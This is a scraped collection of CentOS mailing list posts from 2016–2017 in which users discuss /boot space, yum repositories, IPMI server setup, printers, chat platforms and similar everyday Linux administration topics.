> genisoimage, and Virtualbox's vboxmanage.  Both projects build a VM and
> export it to an OVA.  Example usage, these are great for creating new VMs
> from the CentOS rolling ISOs.

  Glad to know I am not the only one using packer...
>
> As for getting the OVA into vSphere's inventory, I'm using Powershell
> (Ansible's VMware support wasn't so great when I was working on the
> projects).
>
> Jack
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] [External] /boot partition too small

2017-10-12 Thread Mauricio Tavares
On Thu, Oct 12, 2017 at 8:38 AM, John Hodrien <j.h.hodr...@leeds.ac.uk> wrote:
> On Thu, 12 Oct 2017, Mauricio Tavares wrote:
>
>> Stupid question: can't you do
>>
>> rpm -qa | grep ^kernel
>>
>> and then
>>
>> rpm -e 
>
>
> With 100Mbyte /boot on a non-EFI system, I wouldn't have enough room for two
> kernels, so updates would be tricky.
>
  You have a point there. I was thinking the OP's situation was
/boot is a reasonable size but just got filled up because it was not
being monitored. And, as a result, he made yum sad. So now all he
wants is to clean it up just enough to use other stuff, and then as
mentioned before reconfigure grub2.cfg to keep only a couple of 3
kernels around.

Not going to say that happened to me in ubuntu before. O:)

> jh
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] [External] /boot partition too small

2017-10-12 Thread Mauricio Tavares
Stupid question: can't you do

rpm -qa | grep ^kernel

and then

rpm -e 


On Thu, Oct 12, 2017 at 4:24 AM, Sorin Srbu  wrote:
>> -Original Message-
>> From: CentOS [mailto:centos-boun...@centos.org] On Behalf Of Toralf Lund
>> Sent: den 12 oktober 2017 10:15
>> To: CentOS mailing list 
>> Subject: Re: [CentOS] [External] /boot partition too small
>>
>> >> Since a lot of people seem to say none of the above can be done, I'm
>> >> starting to feel slightly unsure, but I though gparted could extend,
>> >> shrink and move partitions while preserving data.
>> >
>> > You would be asking gparted to:
>> > 1. Reach inside an LVM PV and shrink one filesystem and its LV,
>> > 2. Rearrange the extents inside the PV to make free space at the
>> > beginning,
>> > 3. Move the start of the PV and adjust all of the starting offsets for
>> > the LVs,
>> > 4. Finally, enlarge partition 1 into the freed-up space.
>> >
>> > Even if gparted was willing to attempt that, there is no way I would
>> > trust it to do it correctly.
>> Quite. I'd never try this without a backup, of course. In fact, I've
>> only ever used gparted in situations where I had a system dump already.
>> Still, it could save you from a bit of work, as in, if it does succeed,
>> you won't have to do a full recovery.  Also, I'm not really sure about
>> the state of the LVM support, now that you mention it. (But there is
>> supposed to be *something* in that area.)
>
> Supposedly the below tool should be able to handle LVM volumes, and is
> bootable from CD. It costs though.
>
> https://www.partitionwizard.com/partition-wizard-bootable-cd.html
>
> Maybe helps a bit?
> --
> //Sorin
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Thunderbird update without announcement?

2017-08-25 Thread Mauricio Tavares
On Fri, Aug 25, 2017 at 1:19 PM,   wrote:
> m...@tdiehl.org wrote:
>> On Fri, 25 Aug 2017, Leonard den Ottolander wrote:
>>>
>>> I usually receive updates after the related announcement has hit my
>>> inbox. But today I see a thunderbird update, but no message on
>>> centos-announce yet, not even in the archives.
>>
>> Just a guess but Johnny Hughes usually does those announcements. There is
>> a large Hurricane (Harvey) headed to The Gulf coast of the US where Johnny
>> lives. He might be a bit busy with Non-Centos things. They are forecasting
>> 20-25 inches of rain. :-(
>>
> Crap. Didn't know where he lived. If you're reading this, Johnny, stay
> safe, and if you were supposed to have evacuated, hope you did.
>
> But did you mow your lawn, first?
>
  Problem is that he washed his car. You know what that attracts...

>mark
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] getting rid of hp c3180

2017-07-11 Thread Mauricio Tavares
On Tue, Jul 11, 2017 at 4:37 PM, Jon LaBadie  wrote:
> On Tue, Jul 11, 2017 at 02:47:47PM -0500, Valeri Galtsev wrote:
>>
>> On Tue, July 11, 2017 2:20 pm, Michael Hennebry wrote:
>> > I have a hp photosmart C3180 all-in-one and am well and truly sick of it.
>> > It seems like every time I go on another printing binge,
>> > I need yet another print cartridge.
>> > hp-clean doesn't help.
>> > IIRC this use it or lose it "feature" is common to inkjets.
>> >
>> > What should I replace it with?
>> > If I want a non-cloggging printer,
>> > is laser jet the way I need to go?
>> > I'd like to do color occasionally,
>> > but might not want to pay the price for a color laser.
>>
>> I would go with inexpensive HP color laser printer. Laser printers can sit
>> for long time without use, without degrading, once you need it, it will
>> work.
>
> Another +1 for laser.  My wife does editing and had a need for
> fast printing of large documents including color for comments etc.
> We went with a large Ricoh printer about 10 years ago.  Still
> in use after about 300,000 pages.
>
> At the time we had a PhotoJet for printing pictures.  The
> quality of the laser prints was sufficient for our needs
> so the PJ sits in a closet.
>
> One thing that helps the appearance of laser printed
> photos is to use a heavy, high gloss paper.
>
  If you read Dante Alighieri's Divine Comedy, you will remember
there is a circle in hell where the only printer is an inkjet one and
behind it there are an infinite number of toners, half of them with
just one digit in its part number off and the other half with dried
out nozzles. Go read it again; I beleive it is the circle where
Comcast managers get thrown at.

There are reasonably priced colour laser printers out there. They
might not be $50 but you don't have to spend a grand for one.


> Jon
> --
> Jon H. LaBadie j...@jgcomp.com
>  11226 South Shore Rd.  (703) 787-0688 (H)
>  Reston, VA  20190  (703) 935-6720 (C)
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Urgent: Need to change the location of a directory tree

2017-06-01 Thread Mauricio Tavares
On Thu, Jun 1, 2017 at 11:31 AM, Nikolaos Milas  wrote:
> On 1/6/2017 6:06 μμ, Nikolaos Milas wrote:
>
>> ...then remove the mount from fstab and the initial mount point /scimount
>> and finally rename /scimount2 to /scimount ?
>
>
> Correction:
>
> ...then remove the mount from fstab and the initial mount point /mynfsmount
> and finally rename /mynfsmount2 to /mynfsmount ?
>
>
> Sorry for the confusion. (I changed the directory names while editing the
> mail, but I failed to change them all.)
>
> Looking forward to your advice.
>
  So,

1. Make sure both users are not logged in.
2. Create new mountpoints
3. Edit fstab to point to new mountpoints.
4. Edit /etc/passwd to refer to the new mountpoint for the two users
5. mount -a

Would that do the trick for you?

> Thanks,
>
> Nick
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] humor (was Re: OT: systemd Poll)

2017-04-13 Thread Mauricio Tavares
On Thu, Apr 13, 2017 at 2:06 PM,   wrote:
> Robert Moskowitz wrote:
>> On 04/12/2017 02:08 PM, m.r...@5-cent.us wrote:
>
>>> d) And then there stuff that I'm not sure of the purpose... like
>>> eclipse, that needs 2GB to run... for an editor.
>>>
>>>mark "my web pages proudly built in vi!"
>>
>> And mine on medon.htt-consult.com done with Geany.
>>
>> Using a editor that understands html tags so you can collapse ones not
>> being edited does make life simpler.  Also lets you know, indirectly,
>> when your copy and pasting messed up the tag pairing.
>
> Yeah, well, I've tried word processors, and, years back, I tried Quanta,
> which was specifically for working on web pages, and the HTML generated by
> all word processors sucks dead Mar-a-Lago roaches. And *all* of them want
> to left-justify, even if there's an option not to, and you set that,
> rather than leaving it properly indented.
>
  The forced left justify part reminds me of a conversation I had
with a vendor last year. It was something on the lines of "I know this
might come as a shock to you but there are people out there who has
phone numbers that are not exactly 9 digits long and postal codes with
letters and numbers."

>   mark
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Enterprise Linux Slack

2017-04-12 Thread Mauricio Tavares
On Wed, Apr 12, 2017 at 4:12 PM, Jonathan Billings  wrote:
> On Wed, Apr 12, 2017 at 07:50:32PM +0200, Andrew Holway wrote:
>> No, certainly not instead of. A mailing list is essential. I'm part of a
>> few slack communities and it seems an excellent platform for realtime
>> discourse and noob baiting. Very sadly the #centos and #rhel freenode irc
>> channels seem to be rather quiet these days and the irc protocol generally
>> seems to be on the way out. IRC is a bit of a poor show when compared to
>> modern platforms like Slack and Mattermost.
>
>
> Obligatory XKCD: https://xkcd.com/1782/
>
  I raise your XKCD with another: https://xkcd.com/1810/

> I idle in #centos and #rhel and it doesn't seem particularly quiet.
> Maybe it's the hours -- that wouldn't change with Slack or any
> alternatives.
>
> --
> Jonathan Billings 
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] humor (was Re: OT: systemd Poll)

2017-04-12 Thread Mauricio Tavares
On Wed, Apr 12, 2017 at 2:56 PM, Andrew Holway  wrote:
>>
>> When Windows 2000 came out some called it "bloated pig". Some 6 years down
>> the road Linux started catching up ;-) Then we stopped laughing about
>> Windows.
>>
>
> All in the name of progress..

  I have been told that Windows developers were taught not to
optimize their code for memory/cpu/etc since those could be solved by
throwing more hardware at it. Instead they should make clean readable
code. Not claiming that is exclusive to Windows or the clean readable
part is followed...

> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Enterprise Linux Slack

2017-04-12 Thread Mauricio Tavares
On Wed, Apr 12, 2017 at 1:50 PM, Andrew Holway  wrote:
>>
>> Not enthused with slack. And here's a real question: were you talking
>> about *instead* of this mailing list?
>
>
> No, certainly not instead of. A mailing list is essential. I'm part of a
> few slack communities and it seems an excellent platform for realtime
> discourse and noob baiting. Very sadly the #centos and #rhel freenode irc
> channels seem to be rather quiet these days and the irc protocol generally
> seems to be on the way out. IRC is a bit of a poor show when compared to
> modern platforms like Slack and Mattermost.

  I do know groups who have a mailing list and slack/fb and claim
the more "progressive users" prefer the more "progressive social media
channels" (facebook/slack). For those concerned that people can find
what you did on irc, do you really think what is posted on slack is
private? It is as private as any social media thingie out there.

FYI, in a previous job we ran our own internal irc, which was great
when we had to do support (level 1 on the phone could be feeding us
all with the info and question and one of us could be providing
answer. Caller would be none of the wiser).

> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Enterprise Linux Slack

2017-04-12 Thread Mauricio Tavares
On Wed, Apr 12, 2017 at 12:36 PM, Phelps, Matthew
 wrote:
> On Wed, Apr 12, 2017 at 12:26 PM, Nux!  wrote:
>
>> To be honest Freenode is nice and I'd be sad to see it replaced with
>> anything.
>> So cool to be a "/join #project" away from getting help.
>>
>>
> IRC is a problem for those of us behind government/corporate firewalls. IRC
> is perceived as a hacker haven and is usually blocked.
>
  I have my irc client running on a home vm which I check
regularly doing workday. I know people who run irc clients on their
phone.

>
> If we go Mattermost, can we have a searchable public archive of the chats?
>> Something search engines can index and we can point people to?
>>
>> --
>> Sent from the Delta quadrant using Borg technology!
>>
>> Nux!
>> www.nux.ro
>>
>> - Original Message -
>> > From: "Karanbir Singh" 
>> > To: "CentOS mailing list" 
>> > Sent: Wednesday, 12 April, 2017 13:56:53
>> > Subject: Re: [CentOS] Enterprise Linux Slack
>>
>> > On 12/04/17 13:23, Andrew Holway wrote:
>> >>
>> >> Thoughts? Experiances?
>> >>
>> >
>> > been talking with the mattermost people to get an instance up in
>> > centos.org space - more open source, more privacy and better terms of
>> > service.
>> >
>> > --
>> > Karanbir Singh
>> > +44-207-0999389 | http://www.karan.org/ | twitter.com/kbsingh
>> > GnuPG Key : http://www.karan.org/publickey.asc
>> > ___
>> > CentOS mailing list
>> > CentOS@centos.org
>> > https://lists.centos.org/mailman/listinfo/centos
>> ___
>> CentOS mailing list
>> CentOS@centos.org
>> https://lists.centos.org/mailman/listinfo/centos
>>
>
>
>
> --
> Matt Phelps
> System Administrator, Computation Facility
> Harvard - Smithsonian Center for Astrophysics
> mphe...@cfa.harvard.edu, http://www.cfa.harvard.edu
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Problems installing packages from the CD

2017-02-23 Thread Mauricio Tavares
The tree look similar.

When I try the yum list perl I am told "no matching packages to list."
 Isn't that what the files in repodata are for?

On Thu, Feb 23, 2017 at 7:16 AM, Johnny Hughes <joh...@centos.org> wrote:

> On 02/23/2017 05:24 AM, Mauricio Tavares wrote:
> > So I did a minimal install of centos 7 vm guest just to find out it did
> not
> > install perl. Since as of right now I have no properly functioning
> network
> > on that machine (different issue; we can talk about that in another
> post),
> > I went for the next best thing: install CD.
> >
> > I grabbed the CentOS-7-x86_64-Everything-1611.iso CD (around 8GB),
> attached
> > it to the guest, and mounted it on /mnt. Then I edited the
> >
> > cat /etc/yum.repos.d/CentOS-Media.repo
> > # CentOS-Media.repo
> > #
> > #  This repo can be used with mounted DVD media, verify the mount point
> for
> > #  CentOS-7.  You can use this repo and yum to install items directly off
> > the
> > #  DVD ISO that we release.
> > #
> > # To use this repo, put in your DVD and use it with the other repos too:
> > #  yum --enablerepo=c7-media [command]
> > #
> > # or for ONLY the media repo, do this:
> > #
> > #  yum --disablerepo=\* --enablerepo=c7-media [command]
> >
> > [c7-media]
> > name=CentOS-$releasever - Media
> > baseurl=file:///mnt/
> > gpgcheck=1
> > enabled=0
> > gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
> >
> > I then run
> >
> > yum clean all
> >
> > and then decided to look for perl only on the cd repo, i.e.
> >
> > yum --disablerepo=\* --enablerepo=c7-media search perl
> >
> > It gave me back the pcre package, which is already installed. I did check
> > the /mnt.Packages dir and there are plenty of perl-related packages
> > including itself.
> >
> > yum --disablerepo=\* --enablerepo=c7-media list all
> >
> > shows only installed packages, some of which are shown (?) to have been
> > installed from c7-media.
>
> what does :
>
> ls /mnt/
>
> show .. do you see the tree (directories, trees) listed here:
>
> http://mirror.centos.org/centos/7.3.1611/os/x86_64/
>
> try yum list  perl
>
>
>
>
>
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
>
>
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] Problems installing packages from the CD

2017-02-23 Thread Mauricio Tavares
So I did a minimal install of centos 7 vm guest just to find out it did not
install perl. Since as of right now I have no properly functioning network
on that machine (different issue; we can talk about that in another post),
I went for the next best thing: install CD.

I grabbed the CentOS-7-x86_64-Everything-1611.iso CD (around 8GB), attached
it to the guest, and mounted it on /mnt. Then I edited the

cat /etc/yum.repos.d/CentOS-Media.repo
# CentOS-Media.repo
#
#  This repo can be used with mounted DVD media, verify the mount point for
#  CentOS-7.  You can use this repo and yum to install items directly off
the
#  DVD ISO that we release.
#
# To use this repo, put in your DVD and use it with the other repos too:
#  yum --enablerepo=c7-media [command]
#
# or for ONLY the media repo, do this:
#
#  yum --disablerepo=\* --enablerepo=c7-media [command]

[c7-media]
name=CentOS-$releasever - Media
baseurl=file:///mnt/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

I then run

yum clean all

and then decided to look for perl only on the cd repo, i.e.

yum --disablerepo=\* --enablerepo=c7-media search perl

It gave me back the pcre package, which is already installed. I did check
the /mnt.Packages dir and there are plenty of perl-related packages
including itself.

yum --disablerepo=\* --enablerepo=c7-media list all

shows only installed packages, some of which are shown (?) to have been
installed from c7-media.
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] Restricting mirrors off a repo

2017-01-19 Thread Mauricio Tavares
What is the best way to specify which mirrors off a repository you want to
use? Have a host with rather restricted egress rules and want to allow it
to reach a couple of mirrors for each repo it needs. And, yes, I am not
ready to mirror them locally.
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] Migración de CentOS 6 a CentOS 7 - web php

2017-01-07 Thread Mauricio Pastorini
Ese problema  no  es de la versión del sistema operativo, es mas bien del
php.

La página se esta cayendo porque se están mostrando los warning  de la
página.

Revisa el http.conf  con lo que tiene que ver con los errores .. Ahora
estoy en el teléfono pero cuando esté en el pc te mando la info

Enviado desde mi Samsung Galaxy
Twitter: @mauricio1964
Teléfono: +56 9  7439

El ene. 7, 2017 9:09 AM, "Alex ( Servtelecom )" 
escribió:

> hola lista y feliz año!
>
> tengo que cambiar el servidor porque hay falla la placa base y me urge
> cambiarlo, al poner en el nuevo servidor con CentOS 7 me encuentro que casi
> todo va bien menos una web que da los siguientes errores:
>
> PHP Warning:  mysql_fetch_object(): supplied argument is not a valid MySQL
> result resource
>
> PHP Warning:  Variable passed to each() is not an array or object
>
> Alguien puede decirme por donde empezar? en el servidor con CentOS 6
> funciona bien y en CentOS 7, bueno parte dela web si pero algún apartado
> salta este error
>
> ya me diréis que información necesitáis para que me podáis ayudar!
>
> Gracias por adelantado!
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> https://lists.centos.org/mailman/listinfo/centos-es
>
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] Off-Topic: Travel Router and Firewall

2016-11-23 Thread Mauricio Tavares
Go to the openwrt site and see what replaced the TP-Link TL_WRN702N.
The new one has 2 ether ports and can be USB powered.

Of course, there are those who will say you should use a raspberry pi
for that...

On Wed, Nov 23, 2016 at 3:18 PM, H  wrote:
> This is off-topic and the only connection with CentOS is that the laptop
> will be running CentOS...
>
> I am looking for a travel router/firewall for a number of reasons:
>
> - Protect against outside attacks when outside the office/home not relying
> on whatever protection the laptop/tablet/phone offers.
>
> - Allow for fast transfer for data between devices without being limited by
> the bandwidth of the hotel etc., even without being connected to the
> internet.
>
> - Allow for multiple devices even when the hotel etc. only allows one device
> to be registered.
>
> The ideal device should:
>
> - Be small, ideally be able to be charged via a USB port.
>
> - Use open-source software that the user can update.
>
> - Allow the user to log on the device and set up the connection with the
> hotel etc. which often requires a userid and password to be entered on a
> browser page.
>
> - Allow using either a RJ-45 wired or wireless connection to the outside
> net.
>
> - Have at least two RJ-45 ports to connect a laptop avoiding WiFi.
>
> - Allow for VPN tunneling.
>
> If anyone has suggestions, they would be greatly appreciated!
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] Distribución Linux OT

2016-10-13 Thread Mauricio Tapia
Hola podrías considerar pfsense... saludos

El jueves, 13 de octubre de 2016, César Martinez <
cmarti...@servicomecuador.com> escribió:

> Saludos amigos Listeros espero que todos son encuentren bien, quería
> preguntar si de pronto alguien conoce alguna distribución basada en Linux
> que permita hacer balanceo de carga con dos proveedores distintos,
> segmentación del ancho de banda,  y hot spoot, o si existen estos servicios
> como complementos para adaptar a un centos 7.x
>
> De antemano gracias a todos
>
>
> --
> |Saludos Cordiales
> |César Martínez M. | Ingeniero de Sistemas
> |Proyectos Software Libre| SERVICOM
> |Tel: (593-2)554-271 2221-386 | Ext 4501
> |Celular:(593 999374317 |Skype servicomecuador
> |Web www.servicomecuador.com Síguenos en:
> |Twitter: @servicomecuador |Facebook: servicomec
> |Zona Clientes: www.servicomecuador.com/billing
> |Blog: http://servicomecuador.com/blog
> |Dir. Av. 10 de Agosto N29-140 Entre
> |Acuña y  Cuero y Caicedo
> |Quito - Ecuador - Sudamérica
>
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> https://lists.centos.org/mailman/listinfo/centos-es
>


-- 
Atentamente
Mauricio Tapia Ortega
*atacamaworkbench.com <http://www.atacamaworkbench.com>*
Skype : atacamaworkbench
Twitter : @AtacamaWB
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] Am I crazy (parted)

2016-09-27 Thread Mauricio Tavares
I looked at my notes (don't trust my memory) and saw

docs/disk:parted -s /dev/sda mkpart primary 1MB 512MB
docs/disk:parted -s /dev/sda mkpart primary 512MB 2560MB
docs/disk:parted -s /dev/sda mkpart primary 2560MB 100%
docs/gentoo:parted -s /dev/vda mkpart primary1MB  512MB
docs/gentoo:parted -s /dev/vda mkpart primary  512MB 2560MB
docs/gentoo:parted -s /dev/vda mkpart primary 2560MB  100%

So, either an absolute value or a percentage of the remaining disk. I
never did the plus thingie then.

On Tue, Sep 27, 2016 at 2:22 PM,   wrote:
> I swear I've done this dozens of times: a new server, going to install
> (CentOS 7, in this case), and I manually partition the disk before the
> install using parted, and do
> mkpart pri 0.0GB +1.0GB
> Except now it appears to be saying it doesn't like the +1.0GB, I *think*
> it's the plus sign.
>
>   mark
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] IPMI ??

2016-09-17 Thread Mauricio Tavares
On Sat, Sep 17, 2016 at 6:25 AM, Alice Wonder  wrote:
> Never used IPMI in my life and while I thought it was cool when I heard
> about it, had no plans to.
>
Under many different names (Sun called it LOM; I forgot IBM's
name), this has been out there for a while. And it is IMHO the best
way to deal with servers. My normal server installing procedure is:

1. slap server wherever it will reside
2. Run the power cords
3. Run the ethernet cords for both normal use and IPMI. I'd probably
be mindful of which vlans each cable goes to.
4. Fire computer up
5. Connect to the IPMI ethernet port using openipmi/whatever; by
default it is generally setup to do dhcp.
6. Through ipmi, configure server's bios/raid/whatever and then boot
it, feeding an ISO with the OS of choice through ipmi. Good time to do
any server bios upgrade too.
7. Don't forget to change IPMI PW!

> Just built a home server (while out of town) using a SUPERMICRO
> MBD-X10SLM+-F-O
>
> I put an nVidia 405 based video card in it but it may be bad.
>
> When I power it on, I get some beeps but they are different than the no
> memory beeps (I intentionally powered on w/o memory to hear those) and I
> think what may be happening is normal boot process but no video simply
> because the card (bought used) may be bad.
>
> Before I go and try to find a retailer that still carries VGA cables, is
> there a way via the boards IPMI interface (it has ethernet port just for
> that) to connect from my CentOS 7 laptop and see if the machine is normally
> powering on?
>
  Connect both to a switch attached to your dhcp server (or make
laptop provide that to ipmi) and then connect from laptop to ipmi and
go do your thing.

Video cards are for desktops.

> I saw some IPMI packages exist for CentOS 7 but I don't know if this is what
> they are for.
>
> And it seems there are OpenIPMI and freeimpi packages. Are those just
> different ways of doing same thing or do they serve different purposes?
>
  Personally I do not think the supermicro box cares. IPMI is a
standard. Whichever you use should provide a way to send out (remote)
commands and then have a console so you can install thingies in the
server.

With that said, I have used openipmi myself; you do want the ipmitool,
which is a package.

Sample commands (lookup to see what they do. Notice I am using default l/p):

ipmitool -I lan -H 192.168.21.125 -U ADMIN -P ADMIN sel
ipmitool -I lanplus -H 192.168.21.125 -U ADMIN -P ADMIN mc reset cold
ipmitool -I lanplus -H 192.168.21.112 -U ADMIN -P ADMIN mc info

References I have used:

http://wiki.hetzner.de/index.php/IPMI/en
http://lists.us.dell.com/pipermail/linux-poweredge/2007-January/029190.html

> Thanks.
>
>
>
>
> --
> -=-
> Sent my from my laptop, may not be able to respond timely
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Help?

2016-09-11 Thread Mauricio Tavares
On Sun, Sep 11, 2016 at 10:29 PM, TE Dukes  wrote:
> I'm not a 'power user' or some corporate IT guy, just a home user that's
> been around for a while.
>
  'Power user' is a term I see more in the Windows circles.

> Been with Redhat since 2.0, guess I'm the little fish in the big ocean.
>
  I myself did not even know RH exist until version 9.

> Guess I'll  move on to another distribution or back to Fortran and
> developing statistical models for the CIA/DIA
>
  The subject of your email implied you had a question or an issue
you needed help with. The content of your email does not match the
subject. Instead it infers you are pissed with something.

> Thank you, happy to help!!
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentosPlus

2016-05-18 Thread Mauricio Tavares
On Wed, May 18, 2016 at 4:32 AM, James Hogarth <james.hoga...@gmail.com> wrote:
> On 17 May 2016 20:52, "Mauricio Tavares" <raubvo...@gmail.com> wrote:
>>
>> On Tue, May 17, 2016 at 3:04 PM,  <cpol...@surewest.net> wrote:
>> > On 2016-05-17 12:09, jd1008 wrote:
>> >> Has anybody enabled this repo?
>> >> I understand that it can really mess up updates and upgrades
>> >> as the dependencies are rather different.
>> >
>> > I've had the CentOSPlus repository enabled for CentOS6 for more
>> > than a year with no problems. I don't recall reading anything on
>> > this mailing list or IRC suggesting that enabling plus caused
>> > issues with updates.
>> >
>> > The CentOS wiki warns "Enabling this repository makes CentOS
>> > different from upstream. You should understand the implications
>> > of this prior to enabling CentOSPlus". Essentially this is a
>> > reminder that the CentOS community has no appetite for supporting
>> > slightly non-standard configurations (a very reasonable stance).
>> >
>> > If you need the extra hardware driver modules available with
>> > Plus this shouldn't stop you from running a Plus kernel.
>> > Just be prepared to reproduce any problems using a stock
>> > kernel (which you can still select at boot) if you need to
>> > resolve an OS issue with help from others.
>> >
>> > The only vhanged packages in the CentOS Plus 6 repo are the
>> > kernel (kernel, kernel-abi-whitelist, kernel-doc,
>> > kernel-firmware, kernel-headers, kernel-devel), the kernel
>> > performance utilities (perf, python-perf), and postfix.
>> >
>> > For detailed differences of the "Plus" kernel see:
>> >
> https://wiki.centos.org/AdditionalResources/Repositories/CentOSPlus?action=show=Repositories%2FCentOSPlus#head-a94637ae716c01023f633e8b5fb840f555f6d378
>> >
>>   Why not leave all the extra repos disabled, say
>>
>> sed -i -e 's/^enabled=1/enabled=0/' /etc/yum.repos.d/epel.repo
>>
>> and manually enable it when you need to get a package from said repo:
>>
>> yum install -y libmcrypt --enablerepo=epel
>>
>
> Doing this means you won't get notified of updates in that repo. This is
> not a good idea.

  I see your point since you can setup repo priorities
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] listas negras

2016-05-17 Thread Mauricio Tapia
victor,

consulta en
http://mxtoolbox.com/SuperTool.aspx?action=blacklist%3agrecargo.com.mx+=toolpage

debes x lista solicitando que te eliminen, esto demora un poco  revisa tu
otro dominio.

saludos
Mauricio



El 17 de mayo de 2016, 16:53, VICTOR MANUEL VARGAS GONZALEZ <
victor...@hotmail.com> escribió:

> grecargo.com.mxy aagjc.com.mx son estos dos
>
>
>
>
> VICTOR, cual es tu dominio ?
>
> El 17 de mayo de 2016, 15:57, VICTOR MANUEL VARGAS GONZALEZ <
> victorm95 en hotmail.com> escribió:
>
> >
> > buenas tardes , me pueden apoyar con el siguiente caso por fa
> >
> > como puedo bricar un dominio que esta en listas negras para que pueda
> > recibir email de dicho dominio , mi sistema operativo es centos 6.5 y
> > manejo Mailscanner con sendmail
> >
> > gracias
> >
> >
> > ___
> > CentOS-es mailing list
> > CentOS-es en centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> https://lists.centos.org/mailman/listinfo/centos-es
>



-- 
Atentamente
Mauricio Tapia Ortega
*atacamaworkbench.com <http://www.atacamaworkbench.com>*
Skype : atacamaworkbench
Twitter : @AtacamaWB
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS-es] listas negras

2016-05-17 Thread Mauricio Tapia
VICTOR, cual es tu dominio ?

El 17 de mayo de 2016, 15:57, VICTOR MANUEL VARGAS GONZALEZ <
victor...@hotmail.com> escribió:

>
> buenas tardes , me pueden apoyar con el siguiente caso por fa
>
> como puedo bricar un dominio que esta en listas negras para que pueda
> recibir email de dicho dominio , mi sistema operativo es centos 6.5 y
> manejo Mailscanner con sendmail
>
> gracias
>
>
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> https://lists.centos.org/mailman/listinfo/centos-es
>



-- 
Atentamente
Mauricio Tapia Ortega
*atacamaworkbench.com <http://www.atacamaworkbench.com>*
Skype : atacamaworkbench
Twitter : @AtacamaWB
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] CentosPlus

2016-05-17 Thread Mauricio Tavares
On Tue, May 17, 2016 at 3:04 PM,   wrote:
> On 2016-05-17 12:09, jd1008 wrote:
>> Has anybody enabled this repo?
>> I understand that it can really mess up updates and upgrades
>> as the dependencies are rather different.
>
> I've had the CentOSPlus repository enabled for CentOS6 for more
> than a year with no problems. I don't recall reading anything on
> this mailing list or IRC suggesting that enabling plus caused
> issues with updates.
>
> The CentOS wiki warns "Enabling this repository makes CentOS
> different from upstream. You should understand the implications
> of this prior to enabling CentOSPlus". Essentially this is a
> reminder that the CentOS community has no appetite for supporting
> slightly non-standard configurations (a very reasonable stance).
>
> If you need the extra hardware driver modules available with
> Plus this shouldn't stop you from running a Plus kernel.
> Just be prepared to reproduce any problems using a stock
> kernel (which you can still select at boot) if you need to
